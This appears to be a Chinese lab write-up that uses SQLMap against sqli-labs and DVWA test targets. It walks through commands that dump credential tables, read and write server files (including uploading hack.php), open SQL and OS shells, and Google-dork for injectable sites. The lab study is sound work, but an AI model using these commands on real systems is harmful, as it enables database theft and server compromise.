练习11
Abstract: SQLMap的应用,使用sqli-labs 和 dvwa 作为实验平台。
Table of Contents
- 用 SQLMap 查看数据库
 - 查看 security 库中的表
 - 查看 users 表中所有的字段名
 - 查看 security.users 表中的内容
 - 使用 method 和 POST 参数
 - 使用 cookie
 - 使用 user-agent
 - sqlmap 读文件
 - sqlmap 写文件
 - sqlmap 执行 sql语句
 - sqlmap -g
 - sqlmap -r
 - sqlmap --os-shell
 
用 SQLMap 查看数据库
1  | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" --dbs  | 

得出结果:

查看 security 库中的表
1  | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security --tables  | 
得出结果:

查看  users 表中所有的字段名
1  | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security -T users --columns  | 
得出结果:

查看 security.users 表中的内容
1  | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security -T users -C id,password,username --dump  | 
得出结果:

使用 method 和 POST 参数
1  | sqlmap -u "http://192.168.100.119/sqli-labs/Less-11/" --method="post" --data="uname=admin&passwd=admin" --dbs  | 
得到结果:

使用 cookie
在 /sqli-labs/Less-11 中,由于只涉及登录功能,没有登录以后的操作,所以用 --cookie 无法抓取相应数据。 故使用 dvwa 测试。
登录账号,查看 cookie 

1  | sqlmap -u "http://192.168.100.119/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ar14vrf1ie0kc399hgpmqc1fd2" --dbs  | 
得到结果:




使用 user-agent
打开 /sqli-labs/Less-1 中的 index.php ,添加如下程序。

即当程序检测到 user-agent 值为 bp 时,直接退出程序。 
1  | sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --user-agent="bp" --dbs  | 

1  | sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --user-agent="sqlmap" --dbs  | 


把添加的语句删除,保存退出,重新用 sqlmap 尝试读取数据库信息


爬取数据库成功,由此可见,命令行设置 --user-agent是起到一定作用, 有些网站通过对 user-agent参数的检测,达到对 SQLMap 的屏蔽。
注意:每次完成后,记住对 /sqlmap/output/ 文件夹下对应目录的清理。
另一种方法是设置代理用 burpsuite 抓包
1  | sqlmap -u "http://192.168.100.52/sqli-labs/Less-3/?id=1" --user-agent="burpsuite" --proxy="http://127.0.0.1:8080"  | 
打开 burpsuite 抓取 sqlmap 数据包


可以看到 user-agent 变为我们设置的值了。
sqlmap 读文件
1  | sqlmap -u "http://192.168.100.52/sqli-labs/Less-1/?id=1" --file-read="/var/www/html/sqli-labs/index.html"  | 



点击查看读取的文件

打开文件

sqlmap 写文件
在本地新建 hack.php 文件,
1  | sqlmap -u "http://192.168.100.52/sqli-labs/Less-1/?id=1" --file-write="hack.php" --file-dest="/var/myfile/hack.php" -v 5  | 
在服务器中查看

sqlmap 执行 sql语句
1  | sqlmap -u "http://192.168.100.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ri8va1c84en9d40b7l1o1lle53" --sql-shell  | 
然后执行
1  | select @@datadir;  | 


sqlmap -g
1  | sqlmap -g "inurl:?id=1"  | 

sqlmap -r
打开 burpsuite 抓包,

把 Request 里面的内容,复制粘贴到 less12.txt 中,打开 sqlmap
1  | sqlmap -r less12.txt  | 


sqlmap --os-shell
1  | sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --os-shell  | 
用 sqli-labs 和 dvwa 都会提示

尝试了 Window 和 CentOS 系统,还是失败。在网上搜到参考文章,照着修改权限,依然没有成功。
参考文章
最后
在虚拟机中把,html 文件夹权限修改
1  | cd /var/www/  | 
1  | sqlmap -u "http://192.168.100.52/sqli-labs/Less-3/?id=1" --os-shell  | 

